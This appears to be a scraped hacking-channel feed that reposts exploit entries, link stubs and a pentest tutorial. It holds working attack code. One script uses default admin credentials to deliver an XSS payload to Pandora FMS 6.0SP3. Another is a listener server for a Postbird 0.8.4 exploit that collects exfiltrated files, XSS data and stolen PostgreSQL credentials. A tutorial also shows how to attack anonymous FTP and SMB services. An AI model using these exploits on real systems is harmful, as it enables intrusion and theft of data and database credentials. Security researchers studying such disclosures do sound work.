Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Hard-Coded Web Application Administrator Password

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Unauthenticated API Endpoints

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Hard-Coded API Keys Exposed

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CommScope Ruckus IoT Controller 1.7.1.0 Web Application Arbitrary Read/Write

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Pandora FMS 6.0SP3 Cross Site Scripting

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
Pandora FMS version 6.0SP3 suffers from a cross site scripting vulnerability.

MD5 | c93c017b2a3bd57fd53b2f0c4eddcf31

Download
# Exploit Title: XSS vulnerability for (keywords) searching parameter in
pandorafms-6.0SP3/pandora_console
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 05.27.2021
# Vendor: https://pandorafms.com/
# Link: https://github.com/pandorafms/pandorafms/releases
# CVE: 2021-0527-nu11secur1ty
# Proof:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability.gif

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-0527-nu11secur1ty

from selenium import webdriver
import time
import os, sys
# Vendor: https://pandorafms.com/
website_link="
http://192.168.1.160/pandorafms-6.0SP3/pandora_console/index.php"

# enter your login username
username="admin"

# enter your login password
password="pandora"

#enter the element for username input field
element_for_username="nick"

#enter the element for password input field
element_for_password="pass"

#enter the element for submit button
element_for_submit="login_button"
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(3)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit Pandora FMS 6.0 SP3-XSS-Vulnerability for (keywords) searching
parameter
time.sleep(3)
# Payload
browser.get(("
http://192.168.1.160/pandorafms-6.0SP3/pandora_console/index.php?keywords=%3Cscript%3Ealert%28%22nu11secur1ty_is_here%22%29%3B%3C%2Fscript%3E&head_search_keywords=abc"))
print("The payload is deployed, your GET parameter is vulnerable...\n")

except Exception:
#### This exception occurs if the element is not found on the webpage.
print("Sorry, but this user who you searching for is destroyed by using of
MySQL vulnerability in backend.php...")
----------------------------------------------------------------------------------------

# Exploit Title: XSS vulnerability for (keywords) searching parameter in
pandorafms-6.0SP3/pandora_console
# Date: 05.27.2021
# Exploit Authotr idea: @nu11secur1ty
# Exploit Debugging: @nu11secur1ty
# Vendor Homepage: https://pandorafms.com/
# Software Link: https://github.com/pandorafms/pandorafms/releases
# Steps to Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability.gif


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Postbird 0.8.4 Cross Site Scripting / Local File Inclusion

https://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png
Postbird version 0.8.4 suffers from a javascript injection vulnerability that allows for cross site scripting and local file inclusion.

MD5 | f2d171b04734775d46bcc4f5dc3a2213

Download
# Exploit Title: Postbird 0.8.4 - Javascript Injection
# Date: [26 May 2021]
# Exploit Author: Debshubra Chakraborty
# Vendor Homepage: https://github.com/paxa/postbird
# Software Link: https://www.electronjs.org/apps/postbird
# Version: 0.8.4
# Tested on: Linux
# CVE : CVE-2021-33570

"""
XSS Payload


LFI Payload


PostgreSQL Password Stealing Payload


"""

from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import re

hostName = '0.0.0.0'
serverPort = 5555

class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
parse(urllib.parse.unquote(self.requestline))

def log_message(self, format, *args):
return
def parse(data):
expression = re.search('\S+=', data)
attr = expression.group()

if attr[2:len(attr)-1] == 'file':
data = data[12:len(data)-11]
data = data.rsplit('\\n')
print(f'\n[+] File received from LFI: \n\n')
for output in data:
print(output)

elif attr[2:len(attr)-1] == 'xss':
data = data[11:len(data)-10]
print(f'\n[+] Data exfiltration from Stored XSS: \n\n{data}')

elif attr[2:len(attr)-1] == 'credentials':
pos = re.search('{"\S+:', data)
data = data[pos.start():len(data)-11]
for i in range(2, len(data), 1):
if data[i] == '"':
pos = i
break

host = data[2:pos]
data = data[14:]
data = data.rsplit(',')
print(f'\n\n[+] The Database credentials received\n\nHost = {host}')
for output in data:
print(output)

else:
print(f'\n\n[-] Unknown header attribute found, atribute = {attr[2:len(attr)-1]}')
def main():
global hostName, serverPort
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))

try:
webServer.serve_forever()

except KeyboardInterrupt:
pass

webServer.server_close()
print("\nServer stopped.")
if __name__ == "__main__":
main()


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is Ethical Hacking?

https://cdn-images-1.medium.com/max/600/1*6ybuA38s70ewMd8b4tCAGA.png
Hello everyone!!!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Saving Your Access

https://cdn-images-1.medium.com/max/1310/1*ET1BvqhwSnXt2bHqXmWsMA.png
Screensavers for macOS Persistence

Continue reading on Posts By SpecterOps Team Members »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Has anyone paid for a "fixed match" and worked?

Hi everyone,

While surfing the deep, I encountered various services and webpages where supposedly they sell a fixed match for betting at 75USD or more (depending on the "accuracy", being 100% fixed the most expensive). I've been betting for some years now and I have went into many tipsters, systems, etc., and I know it's really hard to fix anything or have that kind of exclusive information, if any.

Has anyone paid for this and it actually worked?

submitted by /u/Casio04
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Top Bug Bounty Platforms — Earn Big Rewards

Continue reading on Medium »
Read more...

Finding root cause of vulnerabilities using time travel debugging with windbg preview
https://www.reddit.com/r/redteamsec/comments/nm6svi/finding_root_cause_of_vulnerabilities_using_time/

submitted by /u/secgeek (https://www.reddit.com/user/secgeek)
[link] (https://youtu.be/ZGH9vk-gPxM) [comments] (https://www.reddit.com/r/redteamsec/comments/nm6svi/finding_root_cause_of_vulnerabilities_using_time/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Anonymous Logins for Pentesters

In this article we will focus on the various services that support the Anonymous Logins. We will be understanding the process to setup those service on your local target system and then using Kali Linux to access them or attack them. Table of Content<o:p· Introduction<o:p· Setting up Anonymous FTP<o:p· Attacking Anonymous FTP<o:p· Setting up Anonymous SMB<o:p· Attacking Anonymous SMB<o:p· Conclusion<o:pIntroduction<o:pAnonymous Logins are a feature that allows the user to setup its service that is accessible by any user. It doesn’t need a specific credentials for accessing that resource. Various servers that want to host data which they want to be accessible to a wide range of users, they user the anonymous logins. In real-life, while performing Network Penetration Testing, a tester should be able to identify the Anonymous Service, and test it. We will also be looking behind the scenes as to how these anonymous services are setup on our local target machine running Ubuntu. We will be leaning about the FTP service and the SMB service. <o:p Setting up Anonymous FTP<o:pWe will begin by demonstrating the process of setting up an Anonymous access on FTP service. We have an ubuntu machine with root access. We install the vsftpd using apt command. <o:p apt install vsftpd<o:phttps://1.bp.blogspot.com/-YrFyvmzvFBE/YK9_UV1rPfI/AAAAAAAAwP4/ttghNNPU2UEgsiYA6ycXPdm7TZqARECZACLcBGAsYHQ/s16000/1.png Each service that is installed on a Linux Machine has a configuration file that can be used to twerk options and setting on that particular service. By default, the anonymous login is disabled on the vsftpd. We will need to edit /etc/vsftpd.conf configuration file in order to enable the Anonymous login functionality. We use the nano to edit the configuration file but you can use any editor of your choice such as vi or sublime. We scroll through all the other options and comments to reach the “anonymous_enabled=NO” option as shown in the image below.<o:p

<o:p https://1.bp.blogspot.com/-x6PIrj3iPVc/YK9_emVOIQI/AAAAAAAAwP8/6cqe5Q1IoK8xkDJSgnK86IhjAfOTPA5HQCLcBGAsYHQ/s16000/2.png Change the “anonymous_enabled=NO” option to “anonymous_enabled=YES” to enable the Anonymous Login on the machine. Refer to the screenshot below. <o:p https://1.bp.blogspot.com/-YHaWTskdMi4/YK9_jaPvQnI/AAAAAAAAwQA/S6fbiqT-CHcZtc000xWiiIC51YNRdVsNQCLcBGAsYHQ/s16000/3.png Just enabling the Anonymous login or installing a service is not enough to get it working. We want a fully functional FTP service. To do this we need to be able to share files using the FTP and since we have enabled the anonymous login, we should be able to download the files from the ubuntu machine using the anonymous access. FTP service requires a directory, whose contents can be shared over the network. We create a directory in the /var directory. We named the directory to pub. We also need to change the ownership of the directory in order to make is suitable for sharing data. After creating and changing ownership, we move into the directory and create a file with the message “Welcome to Hacking Articles” in it. We named the text file note.txt.<o:p mkdir -p /var/ftp/pub<o:psudo chown nobody:nogroup /var/ftp/pub<o:pcd /var/ftp/pub<o:pecho “Welcome to Hacking Articles” > note.txt<o:phttps://1.bp.blogspot.com/-jjZX6bebBpE/YK9_nLrHOYI/AAAAAAAAwQI/qrR9BV_F-y4MSBgkKKqINTtezTGEMW2SACLcBGAsYHQ/s16000/4.png Back to the vsftpd.conf file that we were editing, we need to add a specific configuration to make the anonymous login functional. We add the directory that we just created in the configurations, then we add no_anon_password option that will stop prompting for a password.[...]

Another option we add is hide_ids option. It will not show the username and group of the user that is accessed, upon query it will revert the ftp:ftp combination. At last, we need to add the range of ports that can be used for passive FTP. <o:p https://1.bp.blogspot.com/-ChE7WL6HDKI/YK9_rXZtUZI/AAAAAAAAwQM/cljPmXNXetoAf2AqueuxyXoRTCXLJ7hBACLcBGAsYHQ/s16000/5.png This completes all the configurations that we require to setup an FTP service with anonymous login enabled on ubuntu machine. All that is required is to restart the vsftpd service in order to make the new configurations in effect. Now we will refer to our Kali Linux machine, i.e., attacker machine. <o:p nano /etc/vsftpd.conf<o:pservice vsftpd restart<o:phttps://1.bp.blogspot.com/-tUAiI8E8Vxc/YK9_zykhyUI/AAAAAAAAwQY/uJxjZnwYgFst06pRQnmnFpknHMqDM3ygQCLcBGAsYHQ/s16000/6.png Attacking Anonymous FTP<o:pWhen attacking or targeting a system, one of the initial steps that an attacker takes is to perform a scan of the target. This scan gives attacker information such as open ports and running services. We used Nmap to scan our ubuntu machine that we just configured. We can see that the Nmap was able to identify that the FTP service was functional on the target machine and it also takes another step into enumeration and informs the attacker that the FTP service shas Anonymous Login Enabled. <o:p nmap -A 192.168.1.46<o:phttps://1.bp.blogspot.com/-mlJcMLjEeZQ/YK9_5AO1CXI/AAAAAAAAwQg/nx2mJq7TqLgQJRsy0TfWe0uvVnL1g7luwCLcBGAsYHQ/s16000/7.png Now that it is conformed that the FTP service is running with Anonymous Login enabled, let’s try to access the service. To do this we will connect with the FTP service by providing the IP address of the machine. We don’t have any user credentials and anonymous login is enabled; hence we will enter “Anonymous” in the Name option and we will be logged in. We can run the directory listing command ls to find out the files that are shared over FTP. We see that there is a text file by the name of note.txt. We can transfer the text file using the get command as depicted below. After the transfer we can read the text file to confirm that we have successfully gained the data from the file that was created on ubuntu machine.<o:p ftp 192.168.1.46<o:pAnonymous<o:pls<o:pcd pub<o:pls<o:pget note.txt<o:pbye<o:pcat note.txt<o:phttps://1.bp.blogspot.com/-ruR0vk8pZY8/YK9_-MOY0UI/AAAAAAAAwQo/De-GGiO5RI4CeRwukHaaGIt57RNwMoORACLcBGAsYHQ/s16000/8.png Setting up Anonymous SMB<o:pNext service that can setup Anonymous access is the SMB service. As it was originally designed for Windows Systems, we need to install the samba service on our Ubuntu machine. As we did with the vsftpd we install the samba service using the apt as shown below.<o:p apt install samba<o:phttps://1.bp.blogspot.com/-SUoWgEh9X-Q/YK-ACC2KaBI/AAAAAAAAwQs/LOTShP1ZIssVj4BrxXN42PdlGMJCcC7aACLcBGAsYHQ/s16000/10.png As all services that are installed on any Linux machine, samba also has the configuration file that is located inside the /etc directory. Since we are trying to setup the service with the Anonymous Login, we are going to add some additional configurations as compared to the basic installation of the samba. <o:p https://1.bp.blogspot.com/-mYuu5CB_f2U/YK-AIHZeyJI/AAAAAAAAwQ0/2SLAQkT6musa8h1Acn0w84svQelPouzhQCLcBGAsYHQ/s16000/11.png We are using the nano editor, but you can basically use any editor of your choice. Moving down the to the file we add the following configurations such as the directory that should be used for sharing the files. We are making the /var/www directory for this purpose. We need to give it proper permissions such as browsable and public so that it can be accessed by anonymous login.<o:p https://1.bp.blogspot.com/-0vcyV6Z6txE/YK-AMoeKkUI/AAAAAAAAwQ8/ALbB8TA_S5cZlDz-5oEYNfktAW8AJr7RQCLcBGAsYHQ/s16000/12.png [...]

Next thing that we need to do is create a file that can be used to test the ability of file transfer using the smb. We created a text file named file.txt and entered the message “Welcome To Ignite Technologies” in it. You will need to restart the service in order to make the configurations active.Attacking Anonymous SMBAs we did with the FTP service, it is also possible to check if the service is running on the target machine using nmap scan. Although we are not going to demonstrate it here. We are going to proceed with the assumption that the service is up and running on the target machine. We connect with the service using the smbclient. It is quite clear from the image below that we didn’t provided an user or password combination to connect to the service since the anonymous login is enabled. We then enumerated the share and found the file.txt shared. We transferred the file to the local Kali Linux machine and confirmed that the SMB Anonymous Login service is active and working. ConclusionAnonymous logins are quite common in the real-life environments and the Capture the Flags challenges as well. As an attacker it is important to understand how it works and what kind of setup it is required to enable the anonymous login. Most of all, it is important to know how to interact with this kind of access. ___________________________
@hacking_Attack
@Hacking_Video

Top Bug Bounty Platforms — Earn Big Rewards
https://hacksheets.medium.com/top-bug-bounty-platforms-earn-big-rewards-35f98a63d321?source=rss------bug_bounty-5

Continue reading on Medium » (https://hacksheets.medium.com/top-bug-bounty-platforms-earn-big-rewards-35f98a63d321?source=rss------bug_bounty-5)

All about Multi-factor Authentication security Bypass

Bypassing 2FA security
Read more...